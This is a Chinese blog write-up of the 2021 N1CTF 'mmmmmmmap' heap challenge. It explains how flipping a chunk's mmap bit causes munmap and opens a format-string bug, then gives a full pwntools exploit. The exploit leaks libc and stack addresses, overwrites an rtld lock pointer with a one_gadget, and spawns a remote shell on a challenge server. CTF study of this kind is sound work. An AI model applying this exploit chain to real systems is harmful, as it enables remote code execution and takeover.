2021 N1CTF mmmmmmmap

本文详细介绍了如何通过一道CTF题目,利用chunk的M位篡改与mmap内存管理,触发格式化字符串漏洞,进而泄露libc基址和栈信息,并最终实现远程shell。通过精心构造的输入,绕过限制并操纵内存,展示了安全攻防中的技巧与思路。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这个题很有意思,考查到了不是很常用的chunk低三位里的M位,当M位为1的时候,表示chunk是由mmap申请出来的

题目结构是常见的菜单堆题,在异或的部分有一个小溢出在这里插入图片描述

然后在exit中给了一个格式化字符串,但是有一个条件:
在这里插入图片描述
即必须要write(1,buf,0xa)失败,而buf是程序一开始申请的一个chunk,即便我们把它free掉或者做什么处理,至少不会让write失败,能让它返回-1的唯一条件是buf变成指向一块无法访问的内存,那么什么样的内存无法访问,被munmap收回的内存无法访问,所以做法是通过异或处的小溢出修改M位以及presize,然后将其free掉,就可以让内存被收回,这里要注意mmap的内存是页对齐的,所以在布置chunk的时候也要求页对齐

有了无限制的格式化字符串,想咋打咋打了就

from pwn import *
context.log_level = 'debug'
 
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
 
def menu(idx):
	sla('choice: ',str(idx))
 
def add(size,con):
	menu(1)
	sla('Size: ',str(size))
	sa('Content: ',con)
 
def edit(idx,con):
	menu(2)
	sla('Index: ',str(idx))
	sa('Content: ',con)
 
def free(idx):
	menu(3)
	sla('Index: ',str(idx))
 
def fmt(_str):
	sla("INPUT:",_str)
	ru('\n')
 
# p = process('./pwn')
p = remote("129.211.173.64","10004")
libc = ELF('./pwn').libc
exit_got = ELF("./pwn").got['exit']
one = [0xe6c7e,0xe6c81,0xe6c84]
# gdb.attach(p,'b *$rebase(0x17C9)')
 
sla("Please tell me your lucky number(0x2-0xF):\n",str(3))
add(0xd18,'\x00')
add(0x18,'\x00')
add(0xff8,'\x00')
pl = '\x00'*0x10+p64(0x0303030303032303)
edit(1,pl)
free(2)
menu(4)
 
#leak libcbase
fmt("%11$p")
base = int(rud('\n'),16)-libc.sym['__libc_start_main']-243
rg = base+0x222060
rldlr = rg+0xF08
ogg = base+one[0]
success(hex(base))
 
#leak stack
fmt("%8$p")
stack = int(rud('\n'),16)&0xffff
 
#%13-->%41-->%40
pl = '%'+str(stack)+'c%13$hn'
fmt(pl)
 
# rtld_lock_default_lock_recursive
low = rldlr&0xffff
mid = (rldlr>>16)&0xffff
high = (rldlr>>32)&0xffff
 
pl = '%'+str(low)+'c%41$n'
fmt(pl)
pl = '%'+str(stack+2)+'c%13$hhn'
fmt(pl)
pl = '%'+str(mid)+'c%41$n'
fmt(pl)
pl = '%'+str(stack+4)+'c%13$hn'
fmt(pl)
pl = '%'+str(high)+'c%41$n'
fmt(pl)
pl = '%'+str(stack)+'c%13$hn'
fmt(pl)
 
#rtld_lock_default_lock_recursive->ogg
o_low = ogg&0xffff
o_mid = (ogg>>16)&0xffff
o_high = (ogg>>32)&0xffff
 
pl = '%'+str(o_low)+'c%40$hn'
fmt(pl)
pl = '%'+str(low+2)+'c%41$hhn'
fmt(pl)
pl = '%'+str(o_mid)+'c%40$hn'
fmt(pl)
pl = '%'+str(low+4)+'c%41$hhn'
fmt(pl)
pl = '%'+str(o_high)+'c%40$hn'
fmt(pl)
fmt('exit\n\x00')
print(hex(o_high),hex(o_mid),hex(o_low))
shell()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值